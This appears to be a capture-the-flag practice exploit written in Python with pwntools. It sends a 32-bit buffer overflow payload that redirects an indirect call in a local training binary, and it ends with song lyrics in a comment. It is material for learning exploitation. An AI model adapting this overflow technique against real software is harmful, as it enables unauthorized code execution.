# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./chall-test_IndrCall-05-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x3c)
bof_payload.add_int32(0x24, 0xfacade)
bof_payload.add_int32(0x20, 0xdeae)
bof_payload.add_int32(0x28, 0x80484a7)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Fiction                                  |
# +------------------------------------------------+
# | Now I think I understand                       |
# | how this world can                             |
# | overcome a man                                 |
# +------------------------------------------------+

